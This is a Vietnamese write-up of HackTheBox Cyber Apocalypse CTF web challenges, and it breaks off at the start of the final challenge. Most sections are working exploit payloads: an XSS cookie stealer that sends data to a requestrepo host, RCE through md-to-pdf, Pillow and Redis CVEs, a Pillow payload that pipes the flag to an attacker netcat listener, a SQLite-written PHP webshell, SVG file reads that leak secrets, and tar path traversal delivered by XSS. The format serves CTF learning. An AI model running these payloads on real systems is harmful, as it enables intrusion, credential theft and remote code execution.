Sự kiện Cyber Apocalypse CTF do HackTheBox tổ chức thường niên dành cho người mới bắt đầu, người có đam mê và hacker chuyên nghiệp trong ngành InfoSec.

Vì năm ngoái, mình có tham gia và đánh giá đề Web của sự kiện này hay và fun, nên năm nay mình quyết định lại tham gia để xem đề năm nay của họ như thế nào. Dưới đây là writeup của mình.

Kryptos Support

Dạo 1 vòng của trang thì nhận thấy như sau:

  • Có 1 form report ở trang chủ, sau khi đưa input bất kì thì sẽ nhận được thông báo An admin will review your ticket shortly!.
    => Có thể đoán được là khi submit form với nội dung mình nhập vào thì bot sẽ truy cập vào và xem xét nội dung mình gửi lên.
  • Tại trang đăng nhập, nếu đăng nhập thành công thì sẽ redirect tới /tickets. Thử với một vài query kiểm tra SQL Injection thì không thấy dump ra lỗi hay đăng nhập được nên tạm thời bỏ qua.

Nội dung hàm auth trong file /static/js/login.js:

async function auth() {
    await fetch(`/api/login`, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify(data),
    })
    .then((response) => response.json()
        .then((resp) => {
            if (response.status == 200) {
                card.text(resp.message);
                card.show();
                window.location.href = '/tickets';
                return;
            }
            card.text(resp.message);
            card.show();
        }))
    .catch((error) => {
        card.text(error);
        card.show();
    });
}

Tới đây thì có thể suy nghĩ rằng phải có được account hoặc có thể lấy được cookie của bot để đăng nhập.
Quay lại form report, mình thử nhập mã HTML có chứa thẻ script để chạy mã Javascript nhằm lấy được cookie của bot để đăng nhập và có thể truy cập được vào /tickets.

<script>fetch('http://zndnjde4.requestrepo.com');</script>

Sau khi gửi payload thì chúng ta thấy là đã nhận được request tới của bot.

Vậy thì giờ steal cookie bằng payload này:

<script>fetch('http://zndnjde4.requestrepo.com?a='+document.cookie);</script>

Cookie của bot:

session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI5NTIyMTR9.h8Pb0TkEZuxhfuLEBuW_EdQH4v27CyKuuH6xkPaDhTk

Sử dụng cookie này để truy cập vô /tickets nhận thấy cookie này không phải của admin và cũng không thấy flag chỉ biết thêm được 2 trang mới là: /settings/logout.

Trang Setting có chức năng reset password, cụ thể xem tại file settings.js:

await fetch(`/api/users/update`, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify({password: password1, uid}),
})

Trang sẽ request vào endpoint /api/users/update với 2 tham số: passworduid.

Kiểm tra request history trong Burp Suite thấy được uid100.
=> uid là 100 không phải là của admin. Tới đây thì đoán rằng account adminuid1.
Thay giá trị uid thành 1 và đăng nhập admin với new password đã change thì đăng nhập thành công và nhận được flag.

Tóm lại

  • XSS ở form report /api/tickets/add để steal cookie.
  • /api/users/update xảy ra lỗ hổng IDOR => có thể thay đổi password của user khác, cụ thể hơn là admin.
  • Đăng nhập admin với password reset => lấy flag.

Flag: HTB{x55_4nd_id0rs_ar3_fun!!}

BlinkerFluids

Truy cập bài thì thấy được một số chức năng chính:

  • Tạo 1 invoice
  • Export invoice thành file PDF
  • Xóa invoice đã tạo

Cấu trúc source code được cung cấp:

Chức năng của các API endpoint:

  • /api/invoice/list -> list ra các danh sách invoice đã tạo (gọi hàm listInvoices trong databases.js).
  • /api/invoice/add -> thêm 1 invoice (hàm addInvoice trong databases.js).
  • /api/invoice/delete -> xóa invoice đã tạo (hàm deleteInvoice trong databases.js).

Tất cả các hàm truy vấn trên đều sử dụng prepared statment nên không thể SQL Injection. Ở đây ta chỉ tập trung vô route /api/invoice/add.

router.post('/api/invoice/add', async (req, res) => {
    const { markdown_content } = req.body;
    if (markdown_content) {
        return MDHelper.makePDF(markdown_content)
            .then(id => {
                db.addInvoice(id)
                .then(() => {
                    res.send(response('Invoice saved successfully!'));
                })
                .catch(e => {
                    res.send(response('Something went wrong!'));
                })
            })
            .catch(e => {
                console.log(e);
                return res.status(500).send(response('Something went wrong!'));
            })
    }
    return res.status(401).send(response('Missing required parameters!'));
});

Nhận input từ người dùng thông qua paramater markdown_content sau đó đưa vô hàm MDHelper.makePDF() trong file /helpers/MDHelper.js.

const { mdToPdf }    = require('md-to-pdf')
const { v4: uuidv4 } = require('uuid')
const makePDF = async (markdown) => {
    return new Promise(async (resolve, reject) => {
        id = uuidv4();
        try {
            await mdToPdf(
                { content: markdown },
                {
                    dest: `static/invoices/${id}.pdf`,
                    launch_options: { args: ['--no-sandbox', '--js-flags=--noexpose_wasm,--jitless'] } 
                }
            );
            resolve(id);
        } catch (e) {
            reject(e);
        }
    });
}
  • File này require thư viện md-to-pdf để xử lí input.
  • Nhìn chung source code được cung cấp thì chỉ thấy chỗ import thư viện md-to-pdf có nghi ngờ còn những đoạn khác thì an toàn.
  • Dockerfile cho biết được flag.txt nằm ở thư mục root => cần RCE để đọc file.

Vậy giờ chỉ còn điểm đáng nghi là thư viện md-to-pdf được sử dụng để xử lí input của người dùng đưa vào. Kiểm tra version của lib này trong file package.json4.1.0.
Tìm trên Google version của lib thì thấy được CVE-2021-23639 có thể sử dụng để khai thác trong bài này.

Exploit

Ghi nội dung của flag.txt vào file /app/static/flag.txt

POST /api/invoice/add HTTP/1.1
Host: 46.101.30.188:32038
Content-Length: 119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://46.101.30.188:32038
Referer: http://46.101.30.188:32038/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"markdown_content":"---js\n((require('child_process')).execSync('cat /flag.txt > /app/static/flag.txt'))\n---RCE"}

Truy cập /static/flag.txt để lấy flag.

Flag: HTB{bl1nk3r_flu1d_f0r_int3rG4l4c7iC_tr4v3ls}

Amidst Us

Ở trang chủ của bài không có gì đặc biệt và chỉ có chức năng chỉnh màu cơ bản.

  • Đọc source thì thấy chương trình chỉ xử lí hình ảnh, chỉnh màu sắc… bằng bằng thư viện Pillow.
  • Chỉ có 1 điểm nghi ngờ ở trong file util.py là hàm ImageMath.eval. Thường thì hàm eval sẽ cho phép thực thi code và cụ thể hơn là hàm này nằm trong lib Pillow==8.4.0.
  • Tìm Google với version đang sử dụng thì thấy được 1 CVE có liên quan CVE-2022-22817.

Payload

Trên server chạy command:

nc -lvnp [PORT]

Trigger command gửi flag:

{"image":"REDACTED","background":["__import__('os').system('cat /flag.txt | nc [IP] [PORT]')",15,15]}

Flag: HTB{i_slept_my_way_to_rce}

Intergalactic Post

Trang chủ sau khi nhập email thì reponse chỉ trả về Email subscribed successfully!
Trong source code được cung cấp, chức năng này sẽ hoạt động như sau:

  • File index.php có 2 routes: //subscribe.

Ở đây chỉ cần chú ý tới /subscribe vì nó là chức năng chính.

  • Route này sẽ gọi đến function store trong controller SubsController.
  • Function store này làm nhiệm vụ kiểm ra email nhập vào bằng hàm filter_var() với tham số filter là FILTER_VALIDATE_EMAIL.
  • Pass được filter thì tiếp tục đưa vô function subscribe trong model SubscriberModel.
  • Hàm subscribe nhận tham số $email và khởi tạo thêm 1 biến $ip_address, sau đó đưa $email$ip_address vào hàm subscribeUser nằm trong file Database.php.
    • $ip_address được gán bằng giá trị trả về của function getSubscriberIP. Hàm này sẽ nhận các giá trị của một trong các headers: X-Forwarded-For, Client-Ip hoặc ip hiện tại mình đang request.
  • Hàm subscribeUser trong file Database.php sẽ thực hiện insert 2 giá trị ip_addressemail vào table subscribers. Ở đây 2 input này mình đều control được nhưng lại được đưa vô thẳng câu query => có thể SQL Injection.

Dockerfile cho biết flag ở thư mục root chứ không phải trong database => cần RCE để đọc flag.
Hàm exec trong SQLite3 có hỗ trợ multiple query => lợi dụng điều này để thực hiện SQLi to RCE.

Exploit

POST /subscribe HTTP/1.1
Host: 46.101.30.188:31220
Content-Length: 21
X-Forwarded-For: 123','3'); ATTACH DATABASE '/www/shell.php' AS lol; DROP TABLE IF EXISTS lol.pwn; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET[0]); ?>");--
Connection: close
email=abc@gmail.com

Truy cập vào webshell vừa ghi: /shell.php?0=cat+/flag*

Flag: HTB{inj3ct3d_th3_tru7h}

Mutation Lab

Các chức năng chính fuzz được trên trang là:

  • /api/login, /api/register -> thử một số payload SQL Injection cơ bản nhưng không khả thi.
  • /api/export nhận input của người dùng là 1 file SVG từ tham số svg sau đó sẽ export ra 1 file png tương ứng.

Khi thay đổi nội dung của tham số svg không phải là nội dung của file svg thì sẽ reponse trả về exception kèm stack trace.

  • Biết được chương trình sử dụng thư viện convert-svg-core để xử lí file svg nhận từ người dùng.
  • Tìm kiếm trên Google thì biết được rằng thư viện này đã từng có lỗi Directory Traversal với mã CVE là CVE-2021-23631.
  • Có header X-Powered-By: Express trong response => website được viết bằng Nodejs.

Thử chạy payload của CVE trên và sau đó truy cập vô đường dẫn mà file pdf đã export ra thì nhận được nội dung của file /etc/passwd.

Sử dụng CVE trên để đọc source để biết flag nằm ở đâu và làm như thế nào để lấy flag.

Tiến hành đọc các file như: /app/index.js, /app/database.js/app/routes/index.js

index.js

  • Biết được key để tạo cookie của session nằm ở process.env.SESSION_SECRET_KEY => có thể đọc được SESSION_SECRET_KEY này bằng cách tương tự như đã đọc file index.js
  • Khi lấy được SESSION_SECRET_KEY thì có thể craft lại session theo ý mình muốn

Đoạn code trong file routes/index.js cho biết được sẽ nhận được flag khi đăng nhập với account admin.

Tóm lại

Để có thể giải quyết bài này thì sẽ làm như sau:

  • Đọc file /app/.env để lấy được SESSION_SECRET_KEY
  • Craft lại session của admin sau đó truy cập vô /dashboard để lấy flag

Exploit steps

  • Đọc file .env để lấy SESSION_SECRET_KEY
{"svg":"<svg-dummy></svg-dummy><iframe src='file:///app/.env' width='100%' height='1000px'></iframe><svg viewBox='0 0 240 80' height='1000' width='1000' xmlns='http://www.w3.org/2000/svg'><text x='0' y='0' class='Rrrrr' id='demo'>data</text></svg>"}

SESSION_SECRET_KEY: 5921719c3037662e94250307ec5ed1db

Craft lại session với usernameadmin:

const express = require('express')
const app = express()
const session = require('cookie-session')
app.use(session({
    name: 'session',
    keys: ['5921719c3037662e94250307ec5ed1db']
}))
app.get('/', (req, res) => {
    req.session.username = 'admin'
    res.send('hello')
})
app.listen(8081)
  • Host file này sau đó truy cập http://[YOUR_VPS]:8081/ để lấy sessionsession_sig.

  • Truy cập vào /dashboard với session admin đã craft được.

Flag: HTB{fr4m3d_th3_s3cr37s_f0rg3d_th3_entrY}

Acnologia Portal

Các tính năng có thể nhìn thấy khi truy cập challenge: login, register. Sau khi đăng nhập thì thấy rằng website sẽ liệt kê danh sách các firmware và từng module kèm theo chức năng report với tham số issue.

Tập trung đến những đoạn code sau sẽ dẫn đến lỗi để có thể exploit bài này:

@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
    if not request.is_json:
        return response('Missing required parameters!'), 401
    data = request.get_json()
    module_id = data.get('module_id', '')
    issue = data.get('issue', '')
    if not module_id or not issue:
        return response('Missing required parameters!'), 401
    new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
    db.session.add(new_report)
    db.session.commit()
    visit_report()
    migrate_db()
    return response('Issue reported successfully!')
  • Có chức năng report và 2 tham số do người dùng nhập vào có thể control được là module_idissue.
  • Gọi đến hàm visit_report nằm trong file bot.py. Hàm này sẽ tự động đăng nhập tài khoản admin với username và password lấy từ file config.py. Sau đó sẽ truy cập tới http://localhost:1337/review.
    @web.route('/review', methods=['GET'])
    @login_required
    @is_admin
    def review_report():
        Reports = Report.query.all()
        return render_template('review.html', reports=Reports)
    
    • Route này yêu cầu chỉ admin mới có quyền truy cập.
    • Decorator @is_admin chỉ kiểm tra current_user.username == current_app.config['ADMIN_USERNAME'] and request.remote_addr == '127.0.0.1' và với yêu cầu của bot thì đều pass được cả 2 điều kiện này.
    • Sau đó query với các column id, module_id, reported_by, issue và lấy tất cả dữ liệu trả về render cho template review.html.
    • Trong file review.html in ra module_idissue => có thể XSS ở đây.
    • Mặc dù control được cả module_idissue nhưng trong database chỉ cho phép issue là text, còn module_id là integer => XSS ở issue.
  • Gọi đến hàm migrate_db – hàm này có nhiệm vụ sau khi kết thúc report thì sẽ xóa sạch các dữ liệu nằm trong table, sau đó insert account admin và 1 số thông tin của firmware.
@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
    if 'file' not in request.files:
        return response('Missing required parameters!'), 401
    extraction = extract_firmware(request.files['file'])
    if extraction:
        return response('Firmware update initialized successfully.')
    return response('Something went wrong, please try again!'), 403
  • Sử dụng decorator @is_admin để giới hạn quyền truy cập.
  • Sau khi upload 1 file thông qua tham số file thì sẽ được đưa vô hàm extract_firmware trong file until.py.
def extract_firmware(file):
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)
    file.save(path) 
    if tarfile.is_tarfile(path):
        tar = tarfile.open(path, 'r:gz')
        tar.extractall(tmp)
        rand_dir = generate(15)
        extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
        os.makedirs(extractdir, exist_ok=True)
        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                try:
                    filename = f'{extractdir}/{name}'
                    os.rename(os.path.join(tmp, name), filename)
                    continue
                except:
                    pass
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)
        tar.close()
        return True
  • File upload lên sẽ được lưu tại thư mục /tmp.
  • Check file vừa tải lên có phải định dạng tar hay không, sau đó sử dụng hàm extractall để extract ra thư mục /tmp.
  • Các file được extract sẽ được nằm trong {current_app.config['UPLOAD_FOLDER']}/{rand_dir} cụ thể là /app/application/static/firmware_extract/[rand_dir]
  • Sau khi extract thành công thì cũng không truy cập được những file mình đã extract đó vì có thêm thư mục với tên ngẫu nhiên.
  • Nhưng hàm extractall sẽ gây ra lỗi path traversal khi extract nếu không check .. trong filename (tham khảo: py-tarslip) => arbitrary file write.

Tóm lại

Chúng ta có thể biết được chương trình này chứa 2 lỗi XSS và Path Traversal.

Ý tưởng giải quyết:

  • Sử dụng XSS để upload file tar qua /firmware/upload vì route này chỉ có admin truy cập được.
  • Tạo 1 file flag.txt và symlink trỏ tới /flag.txt.
  • Nén file đã tạo vào trong file tar và tiến hành sửa filename từ flag.txt thành../../../../../app/app/application/static/firmware_extract/flag.txt để ghi vào chỗ mà mình có thể truy cập được.

Exploit steps

  • Symlink /flag.txt
touch flag.txt
ln -s /flag.txt flag.txt
  • Nén file thành tar
tar cvzf payload.tar.gz flag.txt
  • Sử dụng 7z để sửa filename flag.txt thành ../../../../../app/app/application/static/firmware_extract/flag.txt
  • Host 1 file index.php trên VPS và lưu file payload.tar.gz cùng thư mục với nhau. Chạy command php -S 0.0.0.0:1234
<?php
header("Access-Control-Allow-Origin: *");
echo file_get_contents("payload.tar.gz");
?>
  • Script để upload file ở issue:
<script>
fetch("http://[YOUR_VPS]:1234/")
.then(res => res.blob())
.then(content => {
    let data = new FormData()
    data.append("file", content)
    fetch("/api/firmware/upload", {
        method: "POST",
        body: data
    })
    .then(r => r.text())
    .then(t => fetch("https://[YOUR_REQUESTBIN]?a=" + t))
})
</script>
  • Cuối cùng truy cập vào /static/firmware_extract/flag.txt để lấy flag.

Flag: HTB{des3r1aliz3_4ll_th3_th1ngs}

Red Island

Không được cung cấp source nên fuzz thì thấy có một số chức năng sau:

  • /api/login/api/register -> thử một số payload đơn giản về SQL Injection thì bài này vẫn không work.
  • /api/red/generate -> nhận giá trị của người dùng nhập vào thông qua tham số url.

Vì thử payload ở login và register đều không thể thực hiện SQL Injection nên bây giờ chỉ focus vào /api/red/generate.

  • Thử nhập url http://google.com thì có trả về reponse là nội dung của trang.
  • Vậy ở đây có thể nghĩ tới lỗi SSRF => thử payload file:///etc/passwd

  • Đọc thành công nội dung file /etc/passwd => Sử dụng lỗi SSRF để khai thác bài này.
  • Có header X-Powered-By: Express trong response => website được viết bằng Nodejs.
  • Vậy bây giờ sử dụng lỗ hổng SSRF để đọc source nhằm biết flag ở đâu và chương trình có thêm một số chức năng ẩn nào khác không.

Sử dụng cái payload sau để đọc source code của bài:

file:///app/index.js
file:///app/database.js
file:///app/routes/index.js
file:///app/middleware/AuthMiddleware.js
file:///app/helpers/createRed.js
file:///app/helpers/ImageDownloader.js

Sau khi đọc được source thì không thấy flag nằm trong database => cần phải RCE để tìm flag ở đâu và đọc nó.
File index.js cho biết chương trình sử dụng Redis => port 6379 đang mở.

  • Sử dụng tool Gopherus để tạo payload nhưng không thành công.
  • Sau khi tìm kiếm trên Google thì thấy được có CVE-2022-0543 có thể RCE bằng cách escape Lua sandbox.

Payload

{"url":"gopher://localhost:6379/_eval%20%22local%20io_l=package.loadlib(%27/usr/lib/x86_64-linux-gnu/liblua5.1.so.0%27,%27luaopen_io%27);local%20io=io_l();local%20f%20=%20io.popen(%27ls%20/app%27,%27r%27);local%20res=f:read(%27*a%27);return%20res%22%200%0aquit"}

Flag: HTB{r3d_righ7_h4nd_t0_th3_r3dis_land!}

Spiky Tamagotchy

Đọc source thì chỉ nhận thấy được đoạn code dưới đây là xử lí chính:

router.post('/api/activity', AuthMiddleware, async (req, res) => {
    const { activity, health, weight, happiness } = req.body;
    if (activity && health && weight && happiness) {
        return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))
            .then(status => {
                return res.json(status);
            })
            .catch(e => {
                res.send(response('Something went wrong!'));
            });
    }
    return res.send(response('Missing required parameters!'));
});
  • Nhận 4 giá trị từ các tham số activity, health, weight, happiness.
  • Các giá trị của các tham số trên sẽ được ép kiểu thành integer, chỉ trừ activity vẫn giữ là string.
  • Sau đó đưa các giá trị này vô hàm calculate ở file SpikyFactor.js
const calculate = (activity, health, weight, happiness) => {
    return new Promise(async (resolve, reject) => {
        try {
            // devine formula :100:
            let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
                if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; }  if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; }  if (w < 10) { w = 10 } return {m, hp, w, hs}
                }`;
            quickMaths = new Function(res);
            const {m, hp, w, hs} = quickMaths();
            resolve({mood: m, health: hp, weight: w, happiness: hs})
        }
        catch (e) {
            reject(e);
        }
    });
}

Đoạn code này sẽ xảy ra lỗi Code Injection vì input của người dùng đưa thẳng vào đoạn code js và tạo function từ đoạn string đó, cuối cùng gọi lại hàm đã khởi tạo.

Nhưng để exploit được chỗ này thì phải pass được AuthMiddleware được gọi khi request tới /api/activity.

const JWTHelper = require('../helpers/JWTHelper');
module.exports = async (req, res, next) => {
	try{
		if (req.cookies.session === undefined) {
			if(!req.is('application/json')) return res.redirect('/');
			return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
		}
		return JWTHelper.verify(req.cookies.session)
			.then(username => {
				req.data = username;
				next();
			})
			.catch(() => {
				res.redirect('/logout');
			});
	} catch(e) {
		console.log(e);
		return res.redirect('/logout');
	}
}
  • Ở đây check session đưa vào phải được xác thực, có nghĩa là phải login vô với account bất kì không cần phải là admin.
  • Nhưng trong source không có chỗ login và những query đều là prepared statement nên hiện tại không thể thực hiện SQL Injection.

Dockerfile cho biết flag được nằm ở thư mục root => cần RCE để đọc flag. Điều kiện này có thể thực hiện được vì đã có lỗi Code Injection.

Chú ý thì thấy được MySQL được sử dụng, vậy nhớ đến 1 bài viết có phân tích về một lỗ hổng SQL Injection về prepared statement, lỗ hổng này tồn tại trong MySQL NodeJS.

Tóm lại

  • Sử dụng SQL Injection trong thư viện MySQl của NodeJS để thực hiện bypass việc login.
  • Escape và inject 1 đoạn code trong tham số activity để RCE.

Exploit

Bypass login

POST /api/login HTTP/1.1
Host: localhost:1337
Content-Length: 46
Content-Type: application/json
Connection: close
{"username":"admin","password":{"password":1}}

Code Injection

POST /api/activity HTTP/1.1
Host: localhost:1337
Content-Length: 156
Content-Type: application/json
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUzMTI1MDUzfQ.eVI31ZS4G_sKykUMsjGXNGi8HIQBq_sORrIg0RsyntA
Connection: close
{"activity":"'+process.mainModule.require('child_process').execSync('cat /flag.txt > /app/static/flag.txt')+'","health":"60","weight":"42","happiness":"50"}

Truy cập /static/flag.txt để đọc flag.

Flag: HTB{3sc4p3d_bec0z_n0_typ3_ch3ck5}

Genesis Wallet & Genesis Wallet’s Revenge

Chúng ta cùng nhìn qua Dockerfile để có thể hình dung được bài này được setup như thế nào và sử dụng thư viện, service gì.

  • Cài đặt trình duyệt Google Chrome.
  • Cài đặt Varnish.
  • Nội dung file /etc/varnish/secret được lấy ngẫu nhiên từ file /dev/urandom.
  • Copy các file config vào đúng vị trí để các service sử dụng.

Varnish là gì?

Varnish là một “web application accelerator” đóng vai trò là một reverse proxy làm nhiệm vụ caching các HTTP requests nhằm tăng tốc độ truyền tải dữ liệu từ server đến client nhanh chóng hơn.

Genesis Wallet – Unintended solution

Các đoạn code dưới đây dẫn đến lỗi ở bài này:
File routes/index.js

router.post('/api/transactions/create', AuthMiddleware, async (req, res) => {
    const {amount, receiver, note} = req.body;
    if (trxLocked) return res.status(401).send(response('Please wait for the previous transaction to process first!'));
    return db.getUser(req.user.username)
        .then(user => {
            if (parseFloat(user.balance) < parseFloat(amount)) return res.status(403).send(response('Insufficient Funds!'));
            if (!addressExp.test(receiver)) return res.status(403).send(response('Invalid receiver address format!'));
            if (receiver == user.address) return res.status(403).send(response(`You can't send to your own address!`));
            trxLocked = true;
            safeNote = MDHelper.filterHTML(note);
            db.addTransaction(user.address, receiver, user.balance, amount, safeNote)
                .then(() => {
                    trxLocked = false;
                    return res.send(response('Transaction created successfully!'));
                })
                .catch(e => {
                    trxLocked = false;
                    console.log(e);
                    return res.status(500).send(response('Something went wrong, please try again!'))
                })
        })
        .catch((e) => {
            console.log(e);
            trxLocked = false;
            res.status(500).send(response('Internal server error!'));
        });
});
  • Nhận giá trị từ người dùng qua 3 tham số amount, receiver, note.
  • Check balance không được nhỏ hơn amount, address không được là chính address của user chuyển tiền.
  • Giá trị mà người dùng truyền vô tham số note thì sẽ được xử lí qua hàm filterHTML ở file MDHelper.js. Cụ thể là sử dụng lib dompurify.
  • Hàm addTransaction trong database.js sẽ nhận 4 giá trị user.address (address của người gửi), receiver (address của người nhận), balance (balance của người gửi), amount(số tiền chuyển), safeNote (giá trị của tham số note sau qua hàm filterHTML xử lí).
  • Đoạn code này chỉ có chức năng là tạo 1 transaction để chuyển tiền nhưng chưa được xác thực (ở trang thái pending).

Để xác thực thì gọi đến route /api/transactions/verify:

  • Check OTP thành công thì sẽ gọi đến hàm verifyTransaction trong database.js.
  • Hàm verifyTransaction có nhiệm vụ trừ balance trong account người gửi và cộng thêm balance cho người nhận.

  • Khi balance của account lớn hơn 1337 và username khác icarus thì sẽ nhận được flag.

Về address của người nhận là giá trị hash md5 của username, ở trong file database.js thấy được có 1 username được insert sẵn, address là 1ea8b3ac0640e44c27b3cb8a258a87f8.

Chú ý thì thấy ở đây khi amount được nhập từ người dùng thì sẽ không check số âm. Vậy nếu chúng ta nhập số âm thì chuyện gì sẽ xảy ra?

  • Khi update balance của người chuyển sẽ lấy balance hiện tại mà username có trừ đi amount.
    => Nếu nhập amount là -1 thì phép toán thực hiện sẽ là balance - -1 sẽ khiến balance của account tăng lên chứ không bị giảm đi.

Payload

POST /api/transactions/create HTTP/1.1
Host: localhost:1337
Content-Type: application/x-www-form-urlencoded
Cookie: session=REDACTED
Content-Length: 64
amount=-99999&receiver=1ea8b3ac0640e44c27b3cb8a258a87f8&note=abc

Flag: HTB{fl3w_t00_cl0s3_t0_th3_d3cept10n}

Genesis Wallet’s Revenge – Intended solution

Chúng ta cùng kiểm tra từng phần nhỏ của file cache.vcl dùng làm file config để hiểu kĩ hơn.

cache.vcl
vcl 4.1;

Mỗi file có đuôi .vcl đều phải bắt đầu bằng việc khai báo version của cú pháp Varnish sẽ sử dụng, ở đây là 4.1.

backend default {
    .host = "127.0.0.1";
    .port = "1337";
}

Khai báo thông tin của backend server, ở đây là service Nodejs đang chạy tại địa chỉ 127.0.0.1 với port là 1337.

sub vcl_hash {
    hash_data(req.url);
    if (req.http.host) {
        hash_data(req.http.host);
    } else {
        hash_data(server.ip);
    }
    return (lookup);
}

Subroutine vcl_hash chỉ định input nào sẽ đóng vai trò làm cache index để so sánh và trả về dữ liệu đã cache trước đó. Cụ thể thì Varnish sẽ dựa vào req.url, req.http.host (Host header) và server.ip làm cache index. Đây cũng là cấu hình mặc định của Varnish.

sub vcl_recv {
    # Only allow caching for GET and HEAD requests
    if (req.method != "GET" && req.method != "HEAD") {
        return (pass);
    }
    # get javascript and css from cache
    if (req.url ~ "(.(js|css|map)$|.(js|css)?version|.(js|css)?t)") {
        return (hash);
    }
    # get images from cache
    if (req.url ~ ".(svg|ico|jpg|jpeg|gif|png)$") {
        return (hash);
    }
    # get fonts from cache
    if (req.url ~ ".(otf|ttf|woff|woff2)$") {
        return (hash);
    }
    # get everything else from backend
    return(pass);
}

Đây là subroutine sẽ được Varnish chạy đầu tiên. Tại subroutine này trả về 2 actions: passhash.

  • pass: Bỏ qua bước tìm kiếm cache index để trả về dữ liệu, nhưng vẫn thực hiện tiếp các flow còn lại của Varnish. pass không thực hiện caching response.
  • hash: Thực hiện tìm kiếm cache index để trả về dữ liệu đã cached (hoặc caching những response chưa được cached).

Dựa vào khái niệm của 2 actions trên, chúng ta cũng có thể suy ra được subroutine này đang thực hiện nhiệm vụ gì.

  • Nếu HTTP method không phải là GETHEAD thì bỏ qua việc tìm kiếm cached data.
  • Nếu req.url thỏa mãn câu regex (.(js|css|map)$|.(js|css)?version|.(js|css)?t) thì sẽ caching response.
    • .(js|css|map)$: kiểm tra những kí tự cuối của req.url có chứa .js, .css hay .map hay không.
    • .(js|css)?version: có .js?version hay .css?version trong request url hay không.
    • .(js|css)?t: có .js?t hay .css?t trong request url hay không.
  • Hai đoạn if còn lại cũng tương tự.
  • Cuối cùng là sẽ không thực hiện caching response nếu không thỏa các điều kiện trên.
sub vcl_backend_response {
    set beresp.ttl = 120s;
}

Subroutine này sẽ được execute nếu backend server trả về response với HTTP status codes không phải là một error status codes.
Trong config này thì sẽ set thời gian TTL (Time-To-Live) của cached data là 120s.

sub vcl_deliver {
    if (obj.hits > 0) {
        set resp.http.X-Cache = "HIT";
    } else {
        set resp.http.X-Cache = "MISS";
    }
    set resp.http.X-Cache-Hits = obj.hits;
}

Subroutine vcl_deliver sử dụng để set header cho response. Ở đây chỉ đơn giản là set giá trị cho header X-Cache nếu được request lần đầu thì sẽ là MISS, những lần truy cập sau thì sẽ là HIT.

Vậy làm sao để khai thác nếu server đang chạy 1 caching service trên đó?

Ý tưởng

Trong trang Settings của người dùng có tính năng reset 2FA code tại /reset-2fa và được implement trong source code như sau:

router.get(/^/(w{2})?/?(setup|reset)-2fa/, AuthMiddleware, async (req, res) => {
    let lang = req.params[0];
    if (!lang) lang = 'en';
    let otpkey = OTPHelper.genSecret();
    return db.setOTPKey(req.user.username, otpkey)
        .then(() => {
        return res.render(`${lang}/setup-2fa.html`, {otpkey: otpkey, action: req.params[1]});
        })
        .catch(err => {
            console.log(err);
            return res.status(500).send(response('Something went wrong!'));
        });
});

và response có chứa secret key của OTP dùng để tạo QR code:

<script>
    genQRCode('DBAF2YD5ERURKFQT');
</script>

Vì route này được xử lí bằng regex để matching và sử dụng ^ để match những kí tự bắt đầu chuỗi nên chỉ cần những kí tự bắt đầu chuỗi hợp lệ thì sẽ không quan tâm đến những kí tự phía sau, nhờ đó chúng ta có thể thêm .js, .css hay .map vào đằng sau để Varnish caching response của trang.
Ví dụ: /reset-2fa.js, /reset-2fa.css hay /reset-2fa.map đều được. Mình chọn /reset-2fa.js làm link để caching.

Exploit

Chúng ta cần cho bot truy cập vào 1 trong 3 link ở trên để Varnish caching response có chứa secret key của OTP, từ đó tạo được QR code và đăng nhập vào tài khoản của bot với username là icarus. Nghe hay đấy nhưng bằng cách nào?

Tại form chuyển tiền có hỗ trợ tính năng chèn hình ảnh vào note, ta có thể lợi dụng tính năng này để khi bot truy cập vào xem giao dịch thì sẽ tự động load ảnh (ở đây là sẽ load http://127.0.0.1/reset-2fa.js).

Xong khi bấm Send để chuyển tiền, tiến hành request vào /reset-2fa.js để lấy secret key. Sửa Host header thành 127.0.0.1 để matching, nếu không sửa sẽ không match với điều kiện được ghi trong vcl_hash và sẽ được yêu cầu đăng nhập như bình thường.

GET /reset-2fa.js HTTP/1.1
Host: 127.0.0.1

Sau khi có được secret key của OTP rồi thì tạo QR code, đăng nhập vào icarus (thông tin tài khoản trong file database.js), nhập 2FA code và chuyển hết tiền về wallet account của mình. Logout account icarus, login account của mình và vào /dashboard để lấy flag.

Flag: HTB{Fl3w_t00_cl0s3_t0_7h3_d3cept10n_4nd_burn3d!}

CheckpointBots

Đoạn code gây ra lỗi cho bài này:

@GetMapping(value="/api/checkpointbot/check-in", produces="application/json")
